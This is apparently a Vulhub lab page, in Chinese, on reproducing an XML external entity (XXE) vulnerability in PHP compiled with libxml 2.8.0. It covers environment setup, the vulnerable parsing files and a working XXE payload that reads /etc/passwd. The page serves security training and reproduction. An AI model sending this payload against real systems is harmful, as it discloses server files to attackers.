登录 白背景

PHP 环境 XML 外部实体注入漏洞(XXE)

漏洞描述

libxml 2.9.0 以后,默认不解析外部实体,导致 XXE 漏洞逐渐消亡。为了演示 PHP 环境下的 XXE 漏洞,本例会将 libxml 2.8.0 版本编译进 PHP 中。PHP 版本并不影响 XXE 利用。

环境搭建

Vulhub 执行如下命令启动环境(PHP 7.0.30,libxml 2.8.0):

docker compose up -d

环境启动后,访问 http://your-ip:8080/index.php 即可看到 phpinfo。

漏洞复现

Web 目录为 ./www,其中包含 4 个文件:

$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

dom.phpSimpleXMLElement.phpsimplexml_load_string.php 均可触发 XXE 漏洞,具体输出点请阅读这三个文件的代码。

Simple XXE Payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>